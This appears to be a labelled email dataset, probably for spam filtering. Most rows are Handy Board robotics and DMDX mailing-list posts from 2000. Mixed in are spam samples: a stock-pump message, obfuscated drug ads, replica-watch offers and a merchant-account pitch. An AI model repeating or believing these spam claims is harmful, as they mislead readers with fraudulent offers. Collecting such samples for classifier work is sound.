2000>""echarpe.BMP"";$ $600 //""écharpe""/""echarpe.BMP""/;$ $+500 //""+""/*< Timeout 2000>""balcon.BMP"";$ $600 //""balcon""/""balcon.BMP""/;$ +1337 //""+""/*< Timeout 2000>""STRAWBER.BMP""; 600 //""fraise""/""STRAWBER.BMP""/; +1356 //""+""/*< Timeout 2000>""TIE.BMP""; 600 //""cravate""/""TIE.BMP""/; +1370 //""+""/*< Timeout 2000>""TREE.BMP""; 600 //""arbre""/""TREE.BMP""/; +1120 //""+""/*< Timeout 2000>""EAR.BMP""; 600 //""oreille""/""EAR.BMP""/; +1260 //""+""/*< Timeout 2000>""PIANO.BMP""; 600 //""piano""/""PIANO.BMP""/; etc.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 01 Feb 2000 14:27:28 -0700","[DMDX] Re: RecordVocal, Display Problem, and Delay","At 09:17 PM 2/1/00 +0100, you wrote: >enough) or remove all the delay switches and then, I'd got in one case on >five a display error (refused video flips). Mmm, not much you can do about refused video flips, that's your display hardware and if it refuses to do what DMDX needs to do there ain't much you can do about it except get a better video card. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ No problem is too big it can't be run away from - Linus ",0,0 jhqkmvw edalkjd ,"handyboard@media.mit.edu, teresa@media.mit.edu, morgan@media.mit.edu, janine@media.mit.edu","Wed, 02 Feb 2000 08:05:16 +0800",In motion for NEW PICK friday it isday [HOT NEWS NEW PICK friday it is] disables bellwethers,"Infinex Ventures Inc. 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(INFX:OB - ""the Company"") and its Board of Directors are please to announce that the Company has been granted an extension of 120 days to fulfill its contractual obligations under the Joint Venture and Option Agreement dated June 14, 2004 on the Texada Island ""Yew Gr0up"" Mining Claims: This is as sure as it gets, GET IN NOW computational gathers intestines dipped canning adjusters becloud imputed alkane enshroud defective displeasing colonies loathing attained lowest harmlessly airfield galenite Andre chorus gluey crowing apprentice glacier loyal Samoa Sandburg fixating Istvan ",1,0 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Wed, 02 Feb 2000 12:25:53 -0000",12V servo motors,"hi, The HB FAQ says to use 6V servo motors connected to the batt supply with a couple of series diodes to reduce the voltage. can i use 12V servos instead? cheers fazal ",0,0 Olufunmilola Kirsh ,handyboard@media.mit.edu,"Wed, 02 Feb 2000 01:19:08 -0700",Re: your VtAfGRA,"Hi L A P X C V V e m r a I I A v b o n A A L i i z a L G I t e a x I R U ra n c S A M http://www.veriturlis.com and days of waiting, as it seemed, when they were becoming choked and dazed for want of air, they could bear it no longer. They would almost have welcomed sounds from below of the dragons return. In the silence they feared some cunning devilry of his, but they could not sit there for ever. Thorin spoke: Let us try the door! he said. I must feel the wind ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Feb 2000 09:24:30 -0700",[DMDX] refused flips," There is one thing you can do to try and remove the refused flips errors and this is to dicker with the the timing parameters for that video mode in TimeDX / Advanced / Vertical Retrace Sync Thread. Essentially what is happening is that DMDX needs to setup the flip for the next retrace to display the next frame, however the video card is complaining that it can't do it at that time. In my experience it can't do it for one of two reasons, either DMDX has waited too long to ask for the flip and because it's a wretched video card it can't accept commands to flip when it's within a few milliseconds of the next retrace (most video cards have no problem with this) or it can't accept the command because it's busy blitting data to a video buffer, but this is much less likely as DMDX in most instances has so many video pages that it's likely to have moved everything into video memory long before the frames are going to be needing flipping to be displayed. So the first thing is to reduce the Sleeping Time, this is the amount of time that DMDX spends doing other things besides tending to the vertical retrace before the next retrace, so the longer this value is the closer to the next retrace DMDX will ask for a flip. Be careful however, reducing this value means DMDX has less time for other tasks. The other thing you can do is reduce the maximum number of lines to blit at once, this will make DMDX do less blitting in a single chunk and therefore tie the video card up for less time at a time and therefore possibly reducing the chance of a refused blit, but this assumes that you have a video card with little memory or are using a video mode that uses an enormous amount of memory -- you can see how likely this is to be the cause of your problem by looking at the diagnostics DMDX displays, at the start of running an item file there will be a line displaying the number of video memory buffers using the requested video mode for that item file, if there are more buffers than you have frames in an item this is unlikely to be the cause of your trouble. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I haven't a particle of confidence in a man who has no redeeming petty vices. - Mark Twain ""Answers to Correspondents"" ",0,0 William Bain ,Handy Board mailing list ,"Wed, 02 Feb 2000 09:23:11 -0800",Re: 12V servo motors,"Since the HB battery is only 9.6 V, a 12 V motor would most likely draw too much current and pop the circuit breaker (or worse). I don't see why you couldn't power the servos with a separate 12 V battery, though. The HB expansion board is all set up to drive servos, and it's also designed to easily accomodate a separate servo battery. There's a way to do it without the expansion board, too, but I don't know the details. Best of luck! -- Will --- ""E158 (M.FAZAL)"" wrote: > hi, > The HB FAQ says to use 6V servo motors connected to the batt > supply with a > couple of series diodes to reduce the voltage. > > can i use 12V servos instead? > > cheers > fazal > ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 """pp.s"" ",good lucky ,"Wed, 02 Feb 2000 23:31:21 -0400", EMBLEMS 各種公司 LOGO刺繡 徽章 成衣刺繡 錦旗 PATCHES2006/5/10 上午 08:51:50,"Sender: ""pp.s"" Reply-To: aa060506@pchome.com.tw Date: Thu, 3 Feb 2000 11:31:23 +0800 X-Mailer:Dynamailer V 8.4 X-MimeOLE:Produced By Mircosoft MimeOLE V6.00.2600.0000 Return-Path:aa060506@pchome.com.tw [brucearyerson@yahoo.com.tw] EMBLEMS �w�s���q LOGO �U������ ���� �������� �A�X PATCHES ���l�| �C���| ������ ������������ ���L���J ������ ���� �A�X �U�� ���� ���� ���������������I�� �U���u�@���������� ���o �s�� �w���q�� �����]�w��. �N���q�s ���������� �������D�`�h���W�C���~�s���������W �w���z���������������[ �����U�C�s�� http://www.meilung.com.tw/ �w�����H(���������^�H)���H���H�� mei926@ms32.hinet.net?subject=meilung �P���z �� �����i�_ �����o�] �������u�����������q �q��:(02)2886-4629 ���u:(02)2886-8598 11166�x�_���h�L�����w���|�q�����G�� **���H���y���z���x�Z , ���V�z�P�W�Q�G�U�����p�N�I ���h�h�]�[** �p���@�~���������H�����U�CE-mail�i���z���H�c�� �������q���i�� �]�������z��E-mail���X�L�k�B�z aa060506@pchome.com.tw?subject=Remove-060509pm0801-T [2006/5/10 �W�� 08:51:50]",1,1 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Thu, 03 Feb 2000 15:50:57 -0000",stepper motor sequence,"hi all i was trying to connect a uni polar stepper motor with the hb. i was using the stepping sequence given in peter harrison page. A B C D 1 0 0 0 0 0 1 0 0 1 0 0 0 0 0 1 This sequence means that each coil will be energised one by one. and at no time will A and B or C and D will be energised at the same time. this works out fine since A and B are on one motor channel and C and D are on another motr channel --------- ---------- A | | C (+V)------- ---------- (+V) B | | D --------- ---------- when both motor channel are off current will flow from the supply through both coils. this will consume a lot of current. when the first sequence is applied (i.e. A is ON) the circuit will look like as below +V-------- ---------- A | | D (+V)------- ---------- (+V) B | | C --------- ---------- thus no current will flow in coil A. but coils B C and D will be on. thus the actual sequence effectively becomes A B C D 0 1 1 1 1 1 0 1 1 0 1 1 1 1 1 0 is my analysis correct or am i missing something? cheers fazal ",0,0 Mike Reiling ,Handyboard ,"Thu, 03 Feb 2000 09:27:12 -0800",Analog/Digital IO,"I know this question does not really relate to the handyboard, but does anyone know of a cheap PCI or ISA card for a PC to read analog or digital values? Thanks, Mike Reiling ",0,0 """Curt Mills, WE7U"" ",Mike Reiling ,"Thu, 03 Feb 2000 11:16:20 -0800",Re: Analog/Digital IO,"On Thu, 3 Feb 2000, Mike Reiling wrote: > I know this question does not really relate to the handyboard, but does > anyone know of a cheap PCI or ISA card for a PC to read analog or > digital values? For digital values, you can use a parallel port card, or even handshake lines on a serial port. For analog, you can again use a parallel port, and hook up an external A/D chip. As long as you're not trying to get too many bits of resolution this method works well (like say 8-bits). There are a lot of chips out there that have many input pins for A/D. You select ahead of time which input you want to take a sample on. You might also try looking in Nuts and Volts magazine for cheap PCI/ISA cards. That's a reasonably good place to find such things. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 03 Feb 2000 19:27:39 +0000",Re: Analog/Digital IO,"hey -- how about a game card! that gives you digital (joystick buttons) and analog (resistor readings). fred In your message you said: > On Thu, 3 Feb 2000, Mike Reiling wrote: > > > I know this question does not really relate to the handyboard, but does > > anyone know of a cheap PCI or ISA card for a PC to read analog or > > digital values? > > For digital values, you can use a parallel port card, or even > handshake lines on a serial port. > > For analog, you can again use a parallel port, and hook up an external > A/D chip. As long as you're not trying to get too many bits of > resolution this method works well (like say 8-bits). There are a lot > of chips out there that have many input pins for A/D. You select > ahead of time which input you want to take a sample on. > > You might also try looking in Nuts and Volts magazine for cheap > PCI/ISA cards. That's a reasonably good place to find such things. > > Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com > Senior Methods Engineer/SysAdmin > ""Lotto: A tax on people who are bad at math."" -- unknown > ""Windows: Microsoft's tax on computer illiterates."" -- WE7U > ",0,0 """Mar, Ericson"" ",handyboard@media.mit.edu,"Fri, 04 Feb 2000 04:09:09 +0800",RE: Analog/Digital IO,"Is that how it works? I remeber a time when some students were using a joystick for a project and recall them dealing with some sort of PWM. As to whether they were the joystick position signals, I'm not entirely sure. > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel > PIN:7781025 > Email : mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > > -----Original Message----- > From: Fred G. Martin [SMTP:fredm@media.mit.edu] > Sent: Thursday, February 03, 2000 2:28 PM > To: handyboard@media.mit.edu > Subject: Re: Analog/Digital IO > > hey -- how about a game card! that gives you digital (joystick > buttons) and analog (resistor readings). > > fred > > In your message you said: > > On Thu, 3 Feb 2000, Mike Reiling wrote: > > > > > I know this question does not really relate to the handyboard, but > does > > > anyone know of a cheap PCI or ISA card for a PC to read analog or > > > digital values? > > > > For digital values, you can use a parallel port card, or even > > handshake lines on a serial port. > > > > For analog, you can again use a parallel port, and hook up an external > > A/D chip. As long as you're not trying to get too many bits of > > resolution this method works well (like say 8-bits). There are a lot > > of chips out there that have many input pins for A/D. You select > > ahead of time which input you want to take a sample on. > > > > You might also try looking in Nuts and Volts magazine for cheap > > PCI/ISA cards. That's a reasonably good place to find such things. > > > > Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com > > Senior Methods Engineer/SysAdmin > > ""Lotto: A tax on people who are bad at math."" -- unknown > > ""Windows: Microsoft's tax on computer illiterates."" -- WE7U > > This message is for the named person's use only. It may contain confidential, proprietary or legally privileged information. No confidentiality or privilege is waived or lost by any mistransmission. If you receive this message in error, please immediately delete it and all copies of it from your system, destroy any hard copies of it and notify the sender. You must not, directly or indirectly, use, disclose, distribute, print, or copy any part of this message if you are not the intended recipient. CREDIT SUISSE GROUP and each of its subsidiaries each reserve the right to monitor all e-mail communications through its networks. Any views expressed in this message are those of the individual sender, except where the message states otherwise and the sender is authorised to state them to be the views of any such entity. ",0,0 Derrick Rapp ,handyboard@media.mit.edu,"Thu, 03 Feb 2000 23:15:55 +0000",Sonar and the handyboard,"I need to attach an underwater sonar ranger to the handyboard but I cannot figure out how. Does anyone have any experience with this? One question that I have is if sonar transducers other than the polaroid 7000 unit can be attached to Polaroids driver IC? If this is the case, then can I attach the polaroid circuit to the handyboard and a standard boat transducer to the polaroid circuit? Any help is desperately needed. Thanks ",0,0 Ray Tang ,handyboard@media.mit.edu,"Fri, 04 Feb 2000 04:13:22 +0000",Re: HB and Acceleration,"Actually, I live in Wisconsin, and I heard about the ""Rockets for School"" but no one in my high school knows anything about it. I saw it on the news. . . Now that I am in college, and I still want to try launching something up in the sky! Possibly a GPS device with the HandyBoard just to do some data collection (I haven't given any thoughts as to what I really want to do other than to have some fun!). Where can I find more information, Phil??? -- Ray Phil wrote in message news:Pine.LNX.3.96.990111122626.16325A-100000@blue1.netwurx.net... On Mon, 11 Jan 1999, Max Davies wrote: > Phil wrote: > > > Hello, > > Does anyone here know how acceleration will affect the operaion of > > a handyboard, and also will sudden changes in altitude (like, 3,000 feet > > in less than ten seconds) affect it's operation? I have a High Power > > Rocketry launch coming up in May, and I'm desinging a payload that will be > > controlled/documented by my HB so I need to know how much the HB can take. > > > > And no, it is *not* a guided missile with a warhead! > > > > -philsky > > I presume that you are not planning on using my infrared control software! > Good luck in your project, it sounds like fun. Wanna tell us more about it? > > /Max Most likely not, Max, unless I save up a lot of money and get a daVinci organizer or something like that and write up a donwlink program... :-) There's this thing here in Wisconsin (And in Michigan and Iowa) called ""Rockets for Schools"" It lets students launch high power rockets, rockets with motors that need special certification because of their high power. So I have this 5 foot tall rocket sitting above my desk that we flew last year with a radio transmitter in it just to hear the motor fire. this year, I want to desing a payload to analyze the flight, etc. things like the spinrate of the vehicle, possibly acceleration, and perhaps monitoring some other things like temperature. Just wanted to make sure the HB was up for the job. Just FYI, rockets for schools is a REALLY neat thing! They launch the rocket for $50, that includes 2 days worth of fun. There are some rocket and electronic vendors, information groups and college recruiters there. Not to mention watching a SuperLoki launch (it's a big old sounding rocket)..... -phil",0,0 Ray Tang ,handyboard@media.mit.edu,"Fri, 04 Feb 2000 04:25:46 +0000",Re: hexipod walker,"COOL! How do you control 8 servos? I have the expansion board and there are only 6 servo connections there. What other port did you use to control the other 2 servo? Or do you use the expansion board at all? I am looking for a way to add two more servo to my robot, instead of using to motor with sensor control. -- Ray Thomas Hauri wrote in message news:3695F792.7460E88E@zhwin.ch... Timing 12 servos with the HB could be done. So far we are using 8 servos which don't use much cpu resources at all. But 1 compare output can only time 8 servos because of the servos timing requierments without using a lot of cpu time. So a second compare output must be used for the other 4 servos. But using a clever algorithm timing 12 servos could be done. The biggest problem is to get all the contol algorithms to run for 12 servos (12 axes) in realtime. It could be done using multiple handyboards. I'm very interested in your project, so please keep posting ideas and information about your WALKER. > I believe the best thing to do is use separte controlers (e.g. PICs) to > control the specific motions of the servo's. This will allow you to have > more control over the HB. There are several places on the web (e.g. > http://www.brouhaha.com/~eric/pic/ where you can find info on PIC's > including having them control servo's. I think the timing constraints on > 12 servo's will heavily tax the HB resources. > > Ronald Wijngaarde > > > ---------- > > From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] > > Sent: vrijdag 8 januari 1999 11:30 > > To: handyboard@media.mit.edu > > Subject: hexipod walker > > > > Hi all > > > > Iam thinking about making a six legged walking robot using servos and > > wondered if anybody has already built one. > > I want to use two servos per leg one for lifting and another for the > > sweeping action so giving 12 in total. One thing i want to know is how > > do > > you control twelve servos? i have seen some serial servo controllers > > that > > control upto 256, is it possible to control them with just the > > handyboard. > > also does the HB have enough proccessing power to control all these > > servos > > and still have enough spare for obstical avoidance etc. > > > > > > > > Any thoughts, tips etc. > > > > Thanks Russ.... > >",0,1 Ray Tang ,handyboard@media.mit.edu,"Fri, 04 Feb 2000 04:31:10 +0000",Re: GP2D02?,"Yeah, go to Acroname Inc. at http://www.acroname.com/ or Patrick Hui/The Robot Store at http://www.robotstorehk.com/. -- Ray Gansler Mike (K1-Fh/ESC1) wrote in message news:4B9D9ADDF526D211B6180008C7B14894019BC8@fhmail3.fmt0.bosch-brakes.com... Has anyone found a source for the GP2D02? -----Original Message----- From: Lewis Patterson [mailto:lewis@bsc.edu] Sent: Wednesday, January 06, 1999 1:13 PM To: handyboard@media.mit.edu Subject: GP2D02? If anyone who has successfully interfaced the GP2D02 to the Handyboard would share that knowledge with the less experienced, it would be greatly appreciated. Thanks! -- MIME ATTACHMENTS DISCARDED: 1. Content-Type: text/html; charset=""iso-8859-1"" Content-Length: 952",0,1 William Bain ,Handy Board mailing list ,"Thu, 03 Feb 2000 23:30:17 -0800",Re: Sonar and the handyboard,"My guess is that the Polaroid unit will only be able to drive transducers with electrical characteristics very similar to the Polaroid transducer. The transducer functions mainly as a capacitor, and in between pings, it is kept at a couple hundred volts DC bias (I guess for effectively listening for an echo). If you can get your hands on a capacitance meter, you might test your depth finder transducer and see how close it comes to the Polaroid specs. Keep in mind that you should never trigger a ping on the Polaroid unit without a transducer hooked up to it; apparently that'll blow the circuit permanently. If you try a different transducer with it, wear safety goggles and have a fire extinguisher handy ;-] Let us know the results of any smoke tests you conduct. Best of luck! -- Will --- Derrick Rapp wrote: > I need to attach an underwater sonar ranger to the handyboard > but I cannot > figure out how. Does anyone have any experience with this? > One question that > I have is if sonar transducers other than the polaroid 7000 > unit can be > attached to Polaroids driver IC? If this is the case, then > can I attach the > polaroid circuit to the handyboard and a standard boat > transducer to the > polaroid circuit? > > Any help is desperately needed. Thanks > ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Fri, 04 Feb 2000 11:03:35 -0000",hall effect sensors,"hi all i am thinking of buying a hall effect magnetic sensor. what is the model compatible with the HB and what is its sensing range. cheers fazal ",0,0 Rien Matthijsse ,handyboard@media.mit.edu,"Fri, 04 Feb 2000 14:23:28 +0100",Re: hexipod walker,"Have a look a http://robotics.dhs.org This is my hobby robotics site. Currently I have a Hexwalker running with a HB. The 12 servo's are simply controller by a PIC 16F84. This PIC is controlled by the HB through an async interface. This makes it lightweight on the HB, so it can do more usefull things than moving legs :) So no expansion board, just one digital pin on the HB !!! The PIC software even allows for speedcontrolled leg movement, to make it less chunky and very smooth. The PIC code you can download from the above mentioned site for free Have fun Rien ----- Original Message ----- From: ""Ray Tang"" To: Sent: Friday, February 04, 2000 5:25 AM Subject: Re: hexipod walker > COOL! How do you control 8 servos? I have the expansion board and there > are only 6 servo connections there. What other port did you use to control ---cut---- >",0,1 Adam Oliver ,handyboard@media.mit.edu,"Fri, 04 Feb 2000 21:26:22 +0800",Re: hexipod walker,"Personally I use a Scott Edwards Serial Servo Controller (model 1, there is a new one out now) - SSC. On the handyboard web site is a program to control this serial device from the handyboard, which means you can just set each leg position and let the other board do the work. CUts down on processing time and hassles. I use 2 of them daisy-chained together to control 12 servos for my hexapod walker check out http://www.wantree.com.au/~oli for more info if u like.. hope this helps Adam > COOL! How do you control 8 servos? I have the expansion board and there > are only 6 servo connections there. What other port did you use to control > the other 2 servo? Or do you use the expansion board at all? I am looking > for a way to add two more servo to my robot, instead of using to motor with > sensor control. > > -- > > Ray > > Thomas Hauri wrote in message > news:3695F792.7460E88E@zhwin.ch... > Timing 12 servos with the HB could be done. So far we are using 8 servos > which don't use much cpu resources at all. But 1 compare output can only > time 8 servos because of the servos timing requierments without using a lot > of cpu time. So a second compare output must be used for the other 4 servos. > But using a clever algorithm timing 12 servos could be done. > The biggest problem is to get all the contol algorithms to run for 12 servos > (12 axes) in realtime. > It could be done using multiple handyboards. > > I'm very interested in your project, so please keep posting ideas and > information about your WALKER. > > > > I believe the best thing to do is use separte controlers (e.g. PICs) to > > control the specific motions of the servo's. This will allow you to have > > more control over the HB. There are several places on the web (e.g. > > http://www.brouhaha.com/~eric/pic/ where you can find info on PIC's > > including having them control servo's. I think the timing constraints on > > 12 servo's will heavily tax the HB resources. > > > > Ronald Wijngaarde > > > > > ---------- > > > From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] > > > Sent: vrijdag 8 januari 1999 11:30 > > > To: handyboard@media.mit.edu > > > Subject: hexipod walker > > > > > > Hi all > > > > > > Iam thinking about making a six legged walking robot using servos and > > > wondered if anybody has already built one. > > > I want to use two servos per leg one for lifting and another for the > > > sweeping action so giving 12 in total. One thing i want to know is how > > > do > > > you control twelve servos? i have seen some serial servo controllers > > > that > > > control upto 256, is it possible to control them with just the > > > handyboard. > > > also does the HB have enough proccessing power to control all these > > > servos > > > and still have enough spare for obstical avoidance etc. > > > > > > > > > > > > Any thoughts, tips etc. > > > > > > Thanks Russ.... > > > >",0,1 Boris New ,DMDX@psy1.psych.arizona.edu,"Fri, 04 Feb 2000 17:56:57 +0100",[DMDX] Finally...,"For the problem with DigitalVox (always triggered without reason): I formatted one computer, installed win98v2 and it worked. On the other one it's always not working (with a sb 32 or a sb 128) although it worked on two with a sb16 and on another with a sb 32 (and the same version of win98) On two other machines (one with a sb 64 and one with a 128) I got the ""DirectSoundCreate failed"" (although I verified directx) Besides these numerous tests I have yet a machine where it doesn't work and I'd like it to work. For the display problem: It was apparently due to an item: $500 ""C'est reparti"";$ But when I tried to replicate the bug it wasn't clear at all (but I've got a working script now).",0,0 Nick Taylor ,handyboard@media.mit.edu,"Fri, 04 Feb 2000 07:21:54 -0800",Re: hexapod walker,"Rien Matthijsse wrote: > > Have a look a http://robotics.dhs.org > > This is my hobby robotics site. > > Currently I have a Hexwalker running with a HB. > > The 12 servo's are simply controller by a PIC 16F84. This PIC is controlled > by the HB through an async interface. > This makes it lightweight on the HB, so it can do more usefull things than > moving legs :) > So no expansion board, just one digital pin on the HB !!! > > The PIC software even allows for speedcontrolled leg movement, to make it > less chunky and very smooth. > The PIC code you can download from the above mentioned site for free > > Have fun > Rien An excellent site Rien! I hope you get the SPO256 code and diagram posted soon. Thanks, - Nick - ",0,1 """Mulampaka, Kalyan (GEIS, ASI)"" ","""Handyboard (E-mail)"" , ""Lego-Robotics (E-mail)"" ","Fri, 04 Feb 2000 10:26:49 -0500",Good source for Servos,"Hi, Can somebody tell me where I can buy servos cheap? Thanks Kalyan Mulampaka Software Engineer e GE Information Services ___________________________ Ph#: (770) 698 4436 (O) (770) 390 0887 (R) ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Fri, 04 Feb 2000 16:03:44 +0000",Re: Good source for Servos," http://www.towerhobbies.com/ ""Mulampaka, Kalyan (GEIS, ASI)"" wrote: > > Hi, > Can somebody tell me where I can buy servos cheap? > > Thanks > > Kalyan Mulampaka > Software Engineer > e > GE Information Services > ___________________________ > Ph#: (770) 698 4436 (O) > (770) 390 0887 (R) ",0,1 Alisya Borman ,java-sig@math.utah.edu,"Fri, 04 Feb 2000 05:43:05 -0700",Re: AMBtsEN new,"Hi V d I i A t G w R q A h X h A k N y A o X t V a A o L h I e U g M l C d I w A r L i I c S k http://www.theekretalaxner.com punctat bath noteles votin predic path, his throat slit. Stop! In the name of almighty God, stop where you are! came Fontaines voice from inside the chapel, the open half door revealing the flickering light of the electric candles. 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This magnification should be remembered when we think about image scale. -- --Don Mickey",0,0 Neal Oden ,handyboard@media.mit.edu,"Fri, 04 Feb 2000 20:35:08 +0000",Re: hall effect sensors,">Knudsen in his book (p 223) Oops, I jsut realized that your question was about HB, and I was replying about Mindstorms. I don't know whether this Hall Effect sensor will work on HB. Sorry. ",0,0 Jeanine Wills ,"handyboard@media.mit.edu, savannah@media.mit.edu","Fri, 04 Feb 2000 19:00:04 +0100",Replica Watches,"Beautiful Watches At Major Discouunts Wear Real Class on Your Wrist and Impress Others We carry all major top-name brands (982 models in all brands to choose from), at you can ONLY find Online! These watches will dignify any wrist and add class to any outfit. Visit our site for more great deals on MENS and LADIES watchess SPECIAL THIS WEEK ONLY This week we are offering great deals on SWISS Rolex watches. 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If you don't cut off the nub with a hobby knife or saw, the motor will stall. I've also heard of servos (small, lightweight models) that have gears that are only half round or so. I'm guessing that's not your problem, though. Best of luck! -- Will --- Way wrote: > Hello.. i am a beginner of using HB and i have some problem > hope you can > help me.. thanks.. > > I have hacked a servo motor to become a DC motor (by removing > all > electronic parts inside the servo) and plugged the ""motor"" > into the > motor port. but when i use the command ""fd, bk and motor"", it > failed.. > the motor can only rotate for about 1-2 sec, then its > stopped.. i don't > know why.. is the not enought current for the motor ?? i try > to replace > the L293D IC with L293B.. but the result is the same.. > finally i try the > by-pass the Vc (pin 8) of the L293B from the HB and applied a > seperate > 6V battery to L293b pin 8(+) and pin 4 (-).. then the HB and > motor seem > can run smooth... but i would like to ask will this > modification damage > the HB ?? please help me.. thanks !! > > way lam > ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. 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I am new to this, and I am really anxious to build robot with legs. I don't know much about PIC (yeah, what does that stand for anyway? :-p), but knowing that PIC is what I need, I can at least get start on finding books on programming a PIC... I have an off-topic question: I don't know much about DMM/Oscilloscope and I am looking for one. I found one I think it will working for me (without spending too much money, and I just need it for checking the HandyBoard and stuff), and I was wondering if you know anything about them. Thanks! -- Ray Rien Matthijsse wrote in message news:005d01bf6f13$05ec57a0$0200a8c0@marobi.nl... Have a look a http://robotics.dhs.org This is my hobby robotics site. Currently I have a Hexwalker running with a HB. The 12 servo's are simply controller by a PIC 16F84. This PIC is controlled by the HB through an async interface. This makes it lightweight on the HB, so it can do more usefull things than moving legs :) So no expansion board, just one digital pin on the HB !!! The PIC software even allows for speedcontrolled leg movement, to make it less chunky and very smooth. The PIC code you can download from the above mentioned site for free Have fun Rien ----- Original Message ----- From: ""Ray Tang"" To: Sent: Friday, February 04, 2000 5:25 AM Subject: Re: hexipod walker > COOL! How do you control 8 servos? I have the expansion board and there > are only 6 servo connections there. What other port did you use to control ---cut---- >",0,1 Faustino Parr ,Donna ,"Mon, 07 Feb 2000 02:13:23 +0300",High quality watches,"Get the Finest Rolex Watch Replica We only sell premium watches. There's no battery in these replicas just like the real ones since they charge themselves as you move. The second hand moves JUST like the real ones, too. These original watches sell in stores for thousands of dollars. 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I'm guessing that's not >your problem, though. > >Best of luck! > >-- Will > > >--- Way wrote: >> Hello.. i am a beginner of using HB and i have some problem >> hope you can >> help me.. thanks.. >> >> I have hacked a servo motor to become a DC motor (by removing >> all >> electronic parts inside the servo) and plugged the ""motor"" >> into the >> motor port. but when i use the command ""fd, bk and motor"", it >> failed.. >> the motor can only rotate for about 1-2 sec, then its >> stopped.. i don't >> know why.. is the not enought current for the motor ?? i try >> to replace >> the L293D IC with L293B.. but the result is the same.. >> finally i try the >> by-pass the Vc (pin 8) of the L293B from the HB and applied a >> seperate >> 6V battery to L293b pin 8(+) and pin 4 (-).. then the HB and >> motor seem >> can run smooth... but i would like to ask will this >> modification damage >> the HB ?? please help me.. thanks !! >> >> way lam >> > >===== >Any sufficiently advanced technology >is indistinguishable from magic. >-- Arthur C. Clark",0,0 Jeremy Hayes ,handyboard@media.mit.edu,"Mon, 07 Feb 2000 03:33:58 +0000",Need a clock signal to interface encoder chip,"I am trying to interface an HP quadrature-type encoder to the handyboard using the HP HCTL-2016 encoder chip. The problem is that the chip requires a clock signal to synchronize the data latching and transfer functions and I am not sure which type of signal to use. I would like to use the hc11 clock signal but I cannot find a place on the HB to access it. Anyone know? I know that I could create a square wave form using TOC3 or TOC4 ports but I cannot access these because I must use the expansion board and it uses these ports. I would use an external clock chip but I am under the impression that the signal should be synchronized with the processor. Does anyone have any info that could help? ",0,0 TH0RMAN23@aol.com,"way@polyu.hknet.com, handyboard@media.mit.edu","Mon, 07 Feb 2000 00:07:34 -0500",Re: DC motor,"Its sound like your motor is drawing excessive current, thus resetting your Handy Board. You might want to beef up to a higher capacity battery or you can try running your servos off an external power source. Good Luck. ",0,0 swayqz1@hotmail.com,Qxzz@yahoo.com,"Mon, 07 Feb 2000 19:14:10 +0800",You are Approved for Merchant Account!!,"INCREASE SALES UP TO 1500% ACCEPT CREDIT CARDS OVER THE INTERNET *** NO SETUP FEES Good Credit / Bad Credit/ No Credit **** NO PROBLEM****!!! It Just Doesn't Matter - Everyone Gets Approved No Upfront Fees For Application - Processing While Others Charge You From $195 TO $250 To Get Set Up WE CHARGE ZERO FOR SETUP FEES!! Limited Offer So Take Advantage Of It!! We Specialize In Servicing The Following: *Multilevel Marketing *Mail Order/Phone Sales *At Home Business*INTERNET BASED BUSINESS *New Business*Small Business Whatever!!! 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Can any1 help ? ",0,0 glashan ,HandyBoard List ,"Mon, 07 Feb 2000 18:43:02 +0200",Battery Capacity,"Hi all, Ive been having problems with my bots supply for a while now. The problem is that the motors (LEGO 9v ) seem to be drawing too much current. whenever my bot changes direction or trys to accellerate from a standstill, the board resets. Im using a mixture of 650 and 600 mAh Nicad's and ive tried charging them both with the HB charger and a normal charger and nothing seems to help. Do I need Higher Capacity Nicads or may it be my motors Any help would be greatly appriciated. Thanks Ross ",0,0 Chen Yung Hsu ,,"Mon, 07 Feb 2000 14:27:06 -0500",Re: hexipod walker,"where would i get a SSC? On Fri, 4 Feb 2000, Adam Oliver wrote: > Personally I use a Scott Edwards Serial Servo Controller (model 1, there is > a new one out now) - SSC. > On the handyboard web site is a program to control this serial device from > the handyboard, which means you can just set each leg position and let the > other board do the work. CUts down on processing time and hassles. I use 2 > of them daisy-chained together to control 12 servos for my hexapod walker > check out http://www.wantree.com.au/~oli for more info if u like.. > > hope this helps > Adam > > > > > COOL! How do you control 8 servos? I have the expansion board and there > > are only 6 servo connections there. What other port did you use to > control > > the other 2 servo? Or do you use the expansion board at all? I am > looking > > for a way to add two more servo to my robot, instead of using to motor > with > > sensor control. > > > > -- > > > > Ray > > > > Thomas Hauri wrote in message > > news:3695F792.7460E88E@zhwin.ch... > > Timing 12 servos with the HB could be done. So far we are using 8 servos > > which don't use much cpu resources at all. But 1 compare output can only > > time 8 servos because of the servos timing requierments without using a > lot > > of cpu time. So a second compare output must be used for the other 4 > servos. > > But using a clever algorithm timing 12 servos could be done. > > The biggest problem is to get all the contol algorithms to run for 12 > servos > > (12 axes) in realtime. > > It could be done using multiple handyboards. > > > > I'm very interested in your project, so please keep posting 